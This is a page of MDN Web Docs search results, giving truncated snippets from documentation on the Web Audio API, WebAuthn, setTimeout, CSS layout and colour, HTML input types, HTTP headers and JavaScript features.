plementing the web audio spec (such as gecko) will only implement the official, final version of the specification, which means that code using webkitaudiocontext or old naming conventions in the web audio specification may not immediately work out of the box in a compliant web audio implementation. this article attempts to summarize the areas where developers are likely to encounter these problems and provide examples on how to port such code to standards based audiocontext, which will work across different browser engines. note: there is a library called webkitaudiocontext monkeypatch, which automatically fixes some of these changes to make most code targetting webkitaudiocontext to work on the standards based audiocontext out of the box, but it currently doesn't handle all of the cases...
...o, decoded it and returned the result in the form of an audiobuffer. the latter version of createbuffer() was potentially expensive, because it had to decode the audio buffer synchronously, and with the buffer being arbitrarily large, it could take a lot of time for this method to complete its work, and no other part of your web page's code could execute in the mean time. because of these problems, this version of the createbuffer() method has been removed, and you should use the asynchronous decodeaudiodata() method instead. the example below shows old code which downloads an audio file over the network, and then decoded it using createbuffer(): var xhr = new xmlhttprequest(); xhr.open("get", "/path/to/audio.ogg", true); xhr.responsetype = "arraybuffer"; xhr.send(); xhr.onload = functio...
... enumerated values that changed the original webkitaudiocontext api used c-style number based enumerated values in the api. those values have since been changed to use the web idl based enumerated values, which should be familiar because they are similar to things like the the htmlinputelement property type. oscillatornode.type oscillatornode's type property has been changed to use web idl enums. old code using webkitaudiocontext can be ported to standards based audiocontext like below: // old webkitaudiocontext code: var osc = context.createoscillator(); osc.type = osc.sine; // sine waveform osc.type = osc.square; // square waveform osc.type = osc.sawtooth; // sawtooth waveform osc.type = osc.triangle; // triangle waveform osc.setwavetable(table); var iscustom = (osc.type == osc...
...And 3 more matches
Web Authentication API - Web APIs
the web authentication api is an extension of the credential management api that enables strong authentication with public key cryptography, enabling passwordless authentication and/or secure second-factor authentication without sms texts. web authentication concepts and usage the web authentication api (also referred to as webauthn) uses asymmetric (public-key) cryptography instead of passwords or sms texts for registering, authenticating, and second-factor authentication with websites. ...
...phy, enabling passwordless authentication and/or secure second-factor authentication without sms texts. web authentication concepts and usage the web authentication api (also referred to as webauthn) uses asymmetric (public-key) cryptography instead of passwords or sms texts for registering, authenticating, and second-factor authentication with websites. this resolves significant security problems related to phishing, data breaches, and attacks against sms texts or other second-factor authentication methods while at the same time significantly increasing ease of use (since users don't have to manage dozens of increasingly complicated passwords). many websites already have pages that allow users to register new accounts or sign in to an existing account, and the web authentication api acts...
...hentication methods while at the same time significantly increasing ease of use (since users don't have to manage dozens of increasingly complicated passwords). many websites already have pages that allow users to register new accounts or sign in to an existing account, and the web authentication api acts as a replacement or supplement to those on those existing webpages. similar to the other forms of the credential management api, the web authentication api has two basic methods that correspond to register and login: navigator.credentials.create() - when used with the publickey option, creates new credentials, either for registering a new account or for associating a new asymmetric key pair credentials with an existing account. navigator.credentials.get() - when used with the publickey...
...And 3 more matches
WindowOrWorkerGlobalScope.setTimeout() - Web APIs
/ still prints "zero,one,two" after 1 second because of the binding settimeout(myboundmethod, 1.5*1000, "1"); // prints "one" after 1.5 seconds notes timeouts are cancelled using cleartimeout(). to call a function repeatedly (e.g., every n milliseconds), consider using setinterval(). passing string literals passing a string instead of a function to settimeout() has the same associated problems as using eval. // recommended window.settimeout(function() { alert('hello world!'); }, 500); // not recommended window.settimeout("alert('hello world!');", 500); a string passed to settimeout is evaluated in the global context, so local symbols in the context where settimeout() was called will not be available when the string is evaluated as code. reasons for delays longer than specified ...
...00); a string passed to settimeout is evaluated in the global context, so local symbols in the context where settimeout() was called will not be available when the string is evaluated as code. reasons for delays longer than specified there are a number of reasons why a timeout may take longer to fire than anticipated. this section describes the most common reasons. timeouts throttled to ≥ 4ms in modern browsers, settimeout()/setinterval() calls are throttled to a minimum of once every 4 ms when successive calls are triggered due to callback nesting (where the nesting level is at least a certain depth), or after certain number of successive intervals. take this example: function cb() { f(); settimeout(cb, 0); } settimeout(cb, 0); setinterval(f, 0); in chrome and firefox, the 5th suc...
...all; in edge its the 3rd one. gecko started to treat setinterval() like this in version 56 (it already did this with settimeout(); see below). historically some browsers implemented this throttling behaviour a bit differently (e.g. firefox) — on setinterval() calls made from anywhere, or when a nested settimeout() is called where the nesting level is at least a certain depth. to implement a 0 ms timeout in a modern browser, you can use window.postmessage() as described here. note: the minimum delay, dom_min_timeout_value, is 4 ms (stored in a preference in firefox: dom.min_timeout_value), with a dom_clamp_timeout_nesting_level of 5. note: 4 ms is specified by the html5 spec and is consistent across browsers released in 2010 and onward. prior to (firefox 5.0 / thunderbird 5.0 / seamo...
...And 3 more matches
Color picker tool - CSS: Cascading Style Sheets
tutorial="drop"> <div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index" data-max="20" data-sensivity="10"></div> </div> </div> css /* * color picker tool */ .ui-color-picker { width: 420px; margin: 0; border: 1px solid #ddd; background-color: #fff; display: table; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-color-picker .picking-area { width: 198px; height: 198px; margin: 5px; border: 1px solid #ddd; position: relative; float: left; display: table; } .ui-color-picker .picking-area:hover { cursor: default; } /* hsv format - hue-saturation-value(brightness) */ .ui-color-picker .picking-area { background: url('https://mdn.mozillademos.org/files/5...
...round: url('https://mdn.mozillademos.org/files/5707/picker_mask_200.png') center center; background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -moz-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -webkit-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -ms-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -o-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background-color: #f00; } /* hsl format - hue-saturation-lightness */ .ui-color-picker[data-mode='hsl'] .picking-area { backgrou...
..., hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); background: -webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -webkit-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); background: -ms-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -ms-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); background: -o-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -o-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%,...
...And 3 more matches
Backwards Compatibility of Flexbox - CSS: Cascading Style Sheets
sers browser support for flexbox is excellent, and the majority of browsers do not need a prefix at this point. safari was the last of the major browsers to remove prefixes, with the release of safari 9 in 2015. the two browsers you should still keep in mind for cross-browser compatibility are: internet explorer 10, which implemented the display: flexbox version of the specification with the -ms- prefix. uc browser, which still supports the 2009 display: box version only with the -webkit- prefix. note also that internet explorer 11 supports the modern display: flex specification however it has a number of bugs in the implementation. common issues the majority of issues with flexbox relate to the changes in the specification, as it has been developed, and the fact that many of us wer...
...s. each of the bugs has a workaround listed — which can save you many hours of puzzling. if you want to include very old browsers with flexbox support then you can include the vendor prefixes in your css in addition to the unprefixed version. this is becoming less and less of a requirement today as support is widespread. .wrapper { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; } autoprefixer online is a useful way to see which prefixes are recommended, depending on how many versions you wish to go back with browser support. you can also check can i use for information about when prefixes were removed in browsers to make your decision. useful fallback techniques given that flexbox usage is initiated with value of the display property, when n...
...e your decision. useful fallback techniques given that flexbox usage is initiated with value of the display property, when needing to support very old browsers which do not support flexbox at all, fallbacks can be created by overwriting one layout method with another. the specification defines what happens if you use other layout methods on an element which then becomes a flex item. floated items “float and clear do not create floating or clearance of flex item, and do not take it out-of-flow.” - 3. flex containers in the following live example, i have floated two blocks and then set display: flex on the container. the items are now flex items, which means they stretch to equal height. any float behaviour does not apply. you can test the fallback behaviour by removing display: fl...
...And 3 more matches
Subgrid - CSS: Cascading Style Sheets
rid value for grid-template-columns and grid-template-rows. this guide details what subgrid does, and gives some use cases and design patterns that are solved by the feature. important: this feature is shipped in firefox 71, which is currently the only browser to implement subgrid. introduction to subgrid when you add display: grid to a grid container, only the direct children become grid items and can then be placed on the grid that you have created. the children of these items display in normal flow. you can "nest" grids by making a grid item a grid container. these grids however are independent of the parent grid and of each other, meaning that they do not take their track sizing from the parent grid. this makes it difficult to line nested grid items up with the main grid. if you s...
...e column tracks behave as a regular nested grid, but the rows are tied to the two tracks that the child spans. a subgrid in both dimensions you can of course define both rows and columns as a subgrid, as in the example below. this means that your subgrid is tied in both dimensions to the number of tracks on the parent. no implicit grid in a subgridded dimension if you need to autoplace items, and do not know how many items you will have, take care when creating a subgrid, as it will prevent additional rows being created to hold those items. take a look at the next example — it uses the same parent and child grid as in the example above, however inside the subgrid i have twelve items trying to autoplace into ten grid cells. as the subgrid is on both dimensions there is nowhere for ...
... if we remove the grid-template-rows value we enable regular creation of implicit tracks and, although these won't line up with the tracks of the parent, as many as are required will be created. ...
...And 3 more matches
Column layouts - CSS: Cascading Style Sheets
number of columns, and css provides several ways to do this. whether you use grid, flexbox or multi-column layout will depend on what you are trying to achieve, and in this recipe we explore these options. requirements there are a number of design patterns you might want to achieve with your columns: a continuous thread of content broken up into newspaper-style columns. a single row of items arranged as columns, with all heights being equal. multiple rows of columns lined up by row and column. the recipes you need to choose different layout methods in order to achieve your requirements. a continuous thread of content — multi-column layout if you create columns using multi-column layout your text will remain as a continuous stream filling each column in turn. the columns must ...
...lumn in turn. the columns must all be the same size, and you are unable to target an individual column or the content of an individual column. you can control the gaps between columns with the column-gap property, and add a rule between columns using column-rule. download this example use multicol when: you want your text to display in newspaper-like columns. you have a set of small items you want to break into columns. you do not need to target individual column boxes for styling. a single row of items with equal heights — flexbox flexbox can be used to break content into columns by setting flex-direction to row, however flexbox targets the elements inside the flex container and will place each direct child into a new column. this is a different behavior to what you saw wit...
...l column boxes for styling. a single row of items with equal heights — flexbox flexbox can be used to break content into columns by setting flex-direction to row, however flexbox targets the elements inside the flex container and will place each direct child into a new column. this is a different behavior to what you saw with multicol. there is currently no way to add a rule between flex items, and browser support for the column-gap and row-gap properties is limited. therefore to create gaps between items use a margin. download this example flexbox can also be used to create layouts where the flex items wrap onto new rows, by setting the flex-wrap property on the container to wrap. ...
...And 3 more matches
break-inside - CSS: Cascading Style Sheets
ft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...roid full support 50firefox android full support 65opera android full support 37 full support 37 no support 11.1 — 12.1safari ios full support 10samsung internet android full support 5.0multicol_context: column and avoid-columnchrome full support 50edge full support 12firefox no support noie full support 10opera ...
... 10webview android full support 50chrome android full support 50firefox android no support noopera android full support 37safari ios full support 10samsung internet android full support 5.0supported in paged mediachrome full support 50edge full support 12firefox full support 65ie full support 10opera full supp...
...And 3 more matches
<color> - CSS: Cascading Style Sheets
transparency. several keywords are aliases for each other: aqua / cyan fuchsia / magenta darkgray / darkgrey darkslategray / darkslategrey dimgray / dimgrey lightgray / lightgrey lightslategray / lightslategrey gray / grey slategray / slategrey though many keywords have been adapted from x11, their rgb values may differ from the corresponding color on x11 systems since manufacturers sometimes tailor x11 colors to their specific hardware. note: the list of accepted keywords has undergone many changes during the evolution of css: css level 1 only included 16 basic colors, called the vga colors as they were taken from the set of displayable colors on vga graphics cards. css level 2 added the orange keyword. although various colors not in the specific...
... #f5f5dc bisque #ffe4c4 blanchedalmond #ffebcd blueviolet #8a2be2 brown #a52a2a burlywood #deb887 cadetblue #5f9ea0 chartreuse #7fff00 chocolate #d2691e coral #ff7f50 cornflowerblue #6495ed cornsilk #fff8dc crimson #dc143c cyan (synonym of aqua) #00ffff darkblue #00008b darkcyan #008b8b darkgoldenrod #b8860b darkgray #a9a9a9 darkgreen #006400 darkgrey #a9a9a9 darkkhaki #bdb76b darkmagenta #8b008b darkolivegreen #556b2f darkorang...
... lightslategrey #778899 lightsteelblue #b0c4de lightyellow #ffffe0 limegreen #32cd32 linen #faf0e6 magenta (synonym of fuchsia) #ff00ff mediumaquamarine #66cdaa mediumblue #0000cd mediumorchid #ba55d3 mediumpurple #9370db mediumseagreen #3cb371 mediumslateblue #7b68ee mediumspringgreen #00fa9a mediumturquoise #48d1cc mediumvioletred #c71585 midnightblue #191970 mintcream #f5fffa mistyrose #ffe4e1 moccasin #ffe4b5 navajowhite #ffdead oldlace #fdf5e6 ...
...And 3 more matches
Adapting to the new two-value syntax of display - CSS: Cascading Style Sheets
sing the display property we can switch between block and inline. for example to make a heading inline we would use the following css: h1 { display: inline; } more recently we have gained css grid layout and flexbox. to access these we also use values of the display property — display: grid and display: flex. only when the value of display is changed do the children become flex or grid items and begin to respond to the other properties in the grid or flexbox specifications. changing an element's display value changes the formatting context of its direct children. what grid and flexbox demonstrate, however, is that an element has both an outer and an inner display type. the outer display type describes whether the element is block-level or inline-level. the inner display type describ...
...relationship to other boxes in the layout. it’s as if you had applied display: block to the span, however we also get the changed behavior of the children. the live example below has a <span> with display: flex applied. it has become a block-level box taking up all available space in the inline direction. you can now use justify-content: space-between; to put this space between the two flex items. we can create inline flex containers. if you create a flex container using the single value of inline-flex you will have an inline-level box with flex children. the children behave in the same way as the flex children of a block-level container. the only thing that has changed is that the parent is now an inline-level box. it therefore behaves like other inline-level things, and doesn't take ...
...roperty specification. single value new value block block flow flow-root block flow-root inline inline flow inline-block inline flow-root flex block flex inline-flex inline flex grid block grid inline-grid inline grid display: block flow-root and display: inline flow-root in terms of how these new values help to clarify css layout, we can take a look at a couple of values in the table that might seem less familiar. the two-value display: block flow-root maps to a fairly recent single value; display: flow-root. this value's only purpose is to create a new block formatting context (bfc). a bfc ensures that everything inside your box stays inside it, and things from outside t...
...And 3 more matches
max-height - CSS: Cascading Style Sheets
on initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmax-heightchrome full support 18edge full support 12firefox full support 1notes full support 1notes notes css 2.1 leaves the behavior of max-height with table undefined. firefox supports applying max-height ...
... 1.3webview android full support ≤37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1samsung internet android full support 1.0fit-content experimentalchrome full support 46 full support 46 full support 25prefixed prefixed implemented with the vendor prefix: -webkit-edge full support ...
...a android full support 43safari ios full support 7prefixed full support 7prefixed prefixed implemented with the vendor prefix: -webkit- full support 1alternate name alternate name uses the non-standard name: intrinsicsamsung internet android full support 5.0 full support 5.0 full support 1.5prefixed prefixed implemented with the vendor prefix: -webkit-max-contentchrome full support 46edge full support ...
...And 3 more matches
max-width - CSS: Cascading Style Sheets
Web › CSS › max-width
n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmax-widthchrome full support 1edge full support 12firefox full support 1notes full support 1notes notes css 2.1 leaves the behavior of max-width with table undefined. firefox supports applying max-width to t...
... full support 4notes full support 4notes notes css 2.1 leaves the behavior of max-width with table undefined. ...
...a android full support 43safari ios full support 7prefixed full support 7prefixed prefixed implemented with the vendor prefix: -webkit- full support 1alternate name alternate name uses the non-standard name: intrinsicsamsung internet android full support 5.0max-content experimentalchrome full support 46 full support 46 full support 22prefixed prefixed implemented with the vendor prefix: -webkit-edge full support ...
...And 3 more matches
<time> - CSS: Cascading Style Sheets
Web › CSS › time
<time> data type consists of a​ ​​​​​​<number> followed by one of the units listed below. optionally, it may be preceded by a single + or - sign. as with all dimensions, there is no space between the unit literal and the number. note: although the number 0 is always the same regardless of unit, the unit may not be omitted. in other words, 0 is invalid and does not represent 0s or 0ms. ...
...e of the units listed below. optionally, it may be preceded by a single + or - sign. as with all dimensions, there is no space between the unit literal and the number. note: although the number 0 is always the same regardless of unit, the unit may not be omitted. in other words, 0 is invalid and does not represent 0s or 0ms. units s represents a time in seconds. examples: 0s, 1.5s, -60s. ms represents a time in milliseconds. examples: 0ms, 150.25ms, -60000ms. ...
... there is no space between the unit literal and the number. note: although the number 0 is always the same regardless of unit, the unit may not be omitted. in other words, 0 is invalid and does not represent 0s or 0ms. units s represents a time in seconds. examples: 0s, 1.5s, -60s. ms represents a time in milliseconds. examples: 0ms, 150.25ms, -60000ms. note: conversion between s and ms follows the logical 1s = 1000ms. ...
...And 3 more matches
Creating a cross-browser video player - Developer guides
this article describes a simple html5 video player that uses the media and fullscreen apis and works across most major desktop and mobile browsers. as well as working fullscreen, the player features custom controls rather than just using the browser defaults. the player controls themselves won't be styled beyond the basics required to get them working; full styling of the player will be taken care of in a future article. working example our example video player displays a clip from an open source movie called tears of steel, and includes typical video controls. note: you can see the example running live, or check out the source code on github. html markup to start off with, let's take a look at the html that makes up the player. the video first of all the <video> element...
... control set, the controls attribute is still added to the <video> element, and the player's default control set is switched off later with javascript. doing things this way still allows users who have javascript turned off (for whatever reason) to still have access to the browser's native controls. a poster image is defined for the video, and the preload attribute is set to metadata, which informs the browser that it should initially only attempt to load the metadata from the video file rather than the entire video file. this provides the player with data such as video duration and format. note: ie9 behaves differently than most other browsers when a poster attribute is set. most browsers interpret the presence of a poster attribute to mean that the specified image is to be displayed unt...
...nted in browsers in a number of weird and wonderful ways which requires a lot of extra code to check for various prefixed versions of attributes and methods so as to call the right one. to detect if a browser actually supports the fullscreen api and that it is enabled, the following may be called: var fullscreenenabled = !!(document.fullscreenenabled || document.mozfullscreenenabled || document.msfullscreenenabled || document.webkitsupportsfullscreen || document.webkitfullscreenenabled || document.createelement('video').webkitrequestfullscreen); this simply tests all the different prefixed (and of course the non-prefixed!) booleans to see if fullscreen is possible. the final tested value, document.createelement('video').webkitrequestfullscreen is required for the last presto version of o...
...And 3 more matches
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
ts and in scripts. we'll also take a look at how to let the user pick a color. then we'll wrap things up with a brief discussion of how to use color wisely: how to select appropriate colors, keeping in mind the needs of people with differing visual capabilities. things that can have color at the element level, everything in html can have color applied to it. instead, let's look at things in terms of the kinds of things that are drawn in the elements, such as text and borders and so forth. for each, we'll see a list of the css properties that apply color to them. at a fundamental level, the color property defines the foreground color of an html element's content and the background-color property defines the element's background color. these can be used on just about any element. text wh...
...he element. this border is a solid line, 6 pixels wide, in the color mediumturquoise. our two colored boxes share a number of properties in common, so next we establish a class, .box, that defines those shared properties: .box { width: 290px; height: 100px; margin: 0; padding: 4px 6px; font: 28px "marker felt", "zapfino", cursive; display: flex; justify-content: center; align-items: center; } in brief, .box establishes the size of each box, as well as the configuration of the font used within. we also take advantage of css flexbox to easily center the contents of each box. we enable flex mode using display: flex, and set both justify-content and align-items to center. then we can create a class for each of the two boxes that defines the properties that differ between the t...
...text-shadow. its color parameter is set to black. letting the user pick a color there are many situations in which your website may need to let the user select a color. perhaps you have a customizable user interface, or you're implementing a drawing app. maybe you have editable text and need to let the user choose the text color. or perhaps your app lets the user assign colors to folders or items. although historically it's been necessary to implement your own color picker, html now provides support for browsers to provide one for your use through the <input> element, by using "color" as the value of its type attribute. the <input> element represents a color only in the hexadecimal string notation covered above. example: picking a color let's look at a simple example, in which the user...
...And 3 more matches
<dl>: The Description List element - HTML: Hypertext Markup Language
Web › HTML › Element › dl
common uses for this element are to implement a glossary or to display metadata (a list of key-value pairs). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, and if the <dl> element's children include one name-value group, palpable content. ...
...itted aria roles group, list, none, presentation dom interface htmldlistelement attributes this element only includes the global attributes. examples single term and description <dl> <dt>firefox</dt> <dd> a free, open source, cross-platform, graphical web browser developed by the mozilla corporation and hundreds of volunteers. ...
...ation dom interface htmldlistelement attributes this element only includes the global attributes. examples single term and description <dl> <dt>firefox</dt> <dd> a free, open source, cross-platform, graphical web browser developed by the mozilla corporation and hundreds of volunteers. ...
...And 3 more matches
<input type="datetime-local"> - HTML: Hypertext Markup Language
p a date picker to allow you to choose a date; you have to enter the time manually. the edge datetime-local control looks like the below; clicking the date and the time parts of the value bring up two separate pickers for you, so you can easily set both the date and the time. this is somewhat like having date and time widgets both created for you and merged into one. value a domstring representing a date and time (in the local time zone), or empty. events change and input supported common attributes autocomplete, list, readonly, and step idl attributes list, value, valueasnumber. methods select(), stepdown(), stepup() value a domstring representing the value of the date entered into the input. the format of the date ...
...example. here we make use of the :valid and :invalid css properties to style the input based on whether or not the current value is valid. we had to put the icons on a <span> next to the input, not on the input itself, because in chrome the generated content is placed inside the form control, and can't be styled or shown effectively. div { margin-bottom: 10px; display: flex; align-items: center; } label { display: inline-block; width: 300px; } input:invalid+span:after { content: '✖'; padding-left: 5px; } input:valid+span:after { content: '✓'; padding-left: 5px; } important: html form validation is not a substitute for scripts that ensure that the entered data is in the proper format. it's far too easy for someone to make adjustments to the html that...
... so forth). handling browser support as mentioned above, the major problem with using date inputs at the time of writing is browser support — only chrome/opera and edge support it on desktop, and most modern browsers on mobile. as an example, the datetime-local picker on firefox for android looks like this: non-supporting browsers gracefully degrade to a text input, but this creates problems both in terms of consistency of user interface (the presented control will be different), and data handling. the second problem is the most serious; as we mentioned earlier, with a datetime-local input, the actual value is always normalized to the format yyyy-mm-ddthh:mm. with a text input on the other hand, by default the browser has no recognition of what format the date should be in, and ther...
...And 3 more matches
<input type="file"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › file
heir device storage. once chosen, the files can be uploaded to a server using form submission, or manipulated using javascript code and the file api. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. value a domstring representing the path to the selected file. events change and input supported common attributes required additional attributes accept, capture, files, multiple idl attributes files and value dom interface htmlinputelement properties properties that apply only to elements of type file methods ...
...if the user selected multiple files, the value represents the first file in the list of files they selected. the other files can be identified using the input's htmlinputelement.files property. note: if multiple files are selected, the string represents the first selected file. javascript can access the other files through the input's fil...
...e type specifiers. because a given file type may be identified in more than one manner, it's useful to provide a thorough set of type specifiers when you need files of a given format. for instance, there are a number of ways microsoft word files can be identified, so a site that accepts word files might use an <input> like this: <input type="file" id="docpicker" accept=".doc,.docx,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"> capture the capture attribute value is a string that specifies which camera to use for capture of image or video data, if the accept attribute indicates that the input should be of one of those types. a value of user indicates that the user-facing camera and/or microphone should be used. a value of environment specifi...
...And 3 more matches
<input type="password"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › password
request. specifics of how the entry process works may vary from browser to browser; mobile devices, for example, often display the typed character for a moment before obscuring it, to allow the user to be sure they pressed the key they meant to press; this is helpful given the small size of keys and the ease with which the wrong one can be pressed, especially on virtual keyboards. ...
...browser to browser; mobile devices, for example, often display the typed character for a moment before obscuring it, to allow the user to be sure they pressed the key they meant to press; this is helpful given the small size of keys and the ease with which the wrong one can be pressed, especially on virtual keyboards. note: any forms involving sensitive information like passwords (e.g. ...
...ped character for a moment before obscuring it, to allow the user to be sure they pressed the key they meant to press; this is helpful given the small size of keys and the ease with which the wrong one can be pressed, especially on virtual keyboards. note: any forms involving sensitive information like passwords (e.g. login forms) should be served over https; many browsers now implement mechanisms to warn against insecure login forms; see insecure passwords. ...
...And 3 more matches
<input type="search"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › search
esigned for the user to enter search queries into. these are functionally identical to text inputs, but may be styled differently by the user agent. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...ll request. value a domstring representing the value contained in the search field. events change and input supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, required, size. idl attributes value methods select(), setrangetext(), setselectionrange(). value the value attribute contains a domstring representing the value contained in the search field. you can retrieve this using the htmlinputelement.value property in javascript. searchterms = mysearch.value; if no validation constraints are in place for the input (see validation for more details), the value can be any text string or an empty string (""). additional attributes in addition to the attributes that operate on all <inpu...
...still editing the value of the field. webkit and blink only (safari, chrome, opera, etc.). mozactionhint a string indicating the type of action that will be taken when the user presses the enter or return key while editing the field; this is used to determine an appropriate label for that key on a virtual keyboard. firefox for android only. results the maximum number of items that should be displayed in the drop-down list of previous search queries. safari only. autocorrect a safari extension, the autocorrect attribute is a string which indicates whether or not to activate automatic correction while the user is editing this field. permitted values are: on enable automatic correction of typos, as well as processing of text substitutions if any are configu...
...And 3 more matches
Microformats - HTML: Hypertext Markup Language
o create a microformats object, h-* class names are used in the class attribute. to add a property to an object, the p-*, u-*, dt-*, e-* class names are used on one of the object's descendants. there are open source parsing libraries for most languages for microformats2. how microformats work an author of a webpage can add microformats to their html. for example if they wanted to identify themselves they could use an h-card such as: html example <a class="h-card" href="http://alice.example.com">alice blogger</a> when a parser encounters this data, it will know that this page contains a "card" which describes a person or organization named alice blogger with a url of http://alice.example.com/. the parser makes this data available via apis that can be used for different applications. ...
... which parsers use to find a few generic properties such as name, url, photo. microformats prefixes all microformats consist of a root, and a collection of properties. properties are all optional and potentially multivalued - applications needing a singular value may use the first instance of a property. hierarchical data is represented with nested microformats, typically as property values themselves. all microformats class names use prefixes. prefixes are syntax independent from vocabularies, which are developed separately. "h-*" for root class names, e.g. "h-card", "h-entry", "h-feed", and many more. these top-level root classes usually indicate a type and corresponding expected vocabulary of properties. for example: h-card describes a person or organization h-entry describe...
...ical url p-street-address street number + name p-locality city/town/village p-country-name country name nested h-card example <div class="h-card"> <a class="p-name u-url" href="http://blog.lizardwrangler.com/" >mitchell baker</a> (<a class="p-org h-card" href="http://mozilla.org/" >mozilla foundation</a>) </div> parsed json: { "items": [{ "type": ["h-card"], "properties": { "name": ["mitchell baker"], "url": ["http://blog.lizardwrangler.com/"], "org": [{ "value": "mozilla foundation", "type": ["h-card"], "properties": { "name": ["mozilla foundation"], "url": ["http://mozilla.org/"] } }] } }] } note: the nested h-card has implied 'name' and 'url' properties, just like any o...
...And 3 more matches
HTTP headers - HTTP
Web › HTTP › Headers
edentials to authenticate a user-agent with a server. proxy-authenticate defines the authentication method that should be used to access a resource behind a proxy server. proxy-authorization contains the credentials to authenticate a user agent with a proxy server. caching age the time, in seconds, that the object has been in a proxy cache. cache-control directives for caching mechanisms in both requests and responses. clear-site-data clears browsing data (e.g. cookies, storage, cache) associated with the requesting website. expires the date/time after which the response is considered stale. pragma implementation-specific header that may have various effects anywhere along the request-response chain. used for backwards compatibility with http/1.0 caches where the cache-cont...
...rage, cache) associated with the requesting website. expires the date/time after which the response is considered stale. pragma implementation-specific header that may have various effects anywhere along the request-response chain. used for backwards compatibility with http/1.0 caches where the cache-control header is not yet present. warning general warning information about possible problems. client hints http client hints are a work in progress. actual documentation can be found on the website of the http working group. accept-ch servers can advertise support for client hints using the accept-ch header field or an equivalent html <meta> element with http-equiv attribute ([html5]). accept-ch-lifetime servers can ask the client to remember the set of client hints that the...
...nts. vary determines how to match request headers to decide whether a cached response can be used rather than requesting a fresh one from the origin server. connection management connection controls whether the network connection stays open after the current transaction finishes. keep-alive controls how long a persistent connection should stay open. content negotiation accept informs the server about the types of data that can be sent back. accept-charset which character encodings the client understands. accept-encoding the encoding algorithm, usually a compression algorithm, that can be used on the resource sent back. accept-language informs the server about the human language the server is expected to send back. this is a hint and is not necessarily under the full con...
...And 3 more matches
Public class fields - JavaScript
see the compat information below. both static and instance public fields are writable, enumerable, and configurable properties. as such, unlike their private counterparts, they participate in prototype inheritance. ...
...configurable. you may make use of generator, async, and async generator functions. class classwithfancymethods { *generatormethod() { } async asyncmethod() { } async *asyncgeneratormethod() { } } inside instance methods, this refers to the instance itself. in subclasses, super lets you access the superclass prototype, allowing you to call methods from the superclass. ...
...ync generator functions. class classwithfancymethods { *generatormethod() { } async asyncmethod() { } async *asyncgeneratormethod() { } } inside instance methods, this refers to the instance itself. in subclasses, super lets you access the superclass prototype, allowing you to call methods from the superclass. class baseclass { msg = 'hello world' basepublicmethod() { return this.msg } } class subclass extends baseclass { subpublicmethod() { return super.basepublicmethod() } } const instance = new subclass() console.log(instance.subpublicmethod()) // expected output: "hello worl​d" getters and setters are special methods that bind to a class property and are called when that property is accessed or set. use the get and set syntax to declare a public instance ...
...And 3 more matches
Array.from() - JavaScript
let k be 0. ...
...let k be 0. var k = 0; // 17. repeat, wh...
...let k be 0. var k = 0; // 17. repeat, while k < len… or while iterator is done (also steps a - h) while (k < len || isiterator) { ...
...And 3 more matches
Web Performance
rka developer should strive to achieve these two goals. to understand how to improve performance and perceived performance, it helps to understand how the browser works.recommended web performance timings: how long is too long?there are no clear set rules as to what constitutes a slow pace when loading pages, but there are specific guidelines for indicating content will load (1 second), idling (50ms), animating (16.7s) and responding to user input (50 to 200ms).the business case for web performanceyou know web performance is important, but how do you convince clients and management to invest in performance and make it a priority. in this article, we'll discuss creating a clear business case to convince decision-makers to make the investment.understanding latencylatency is the time it takes f...
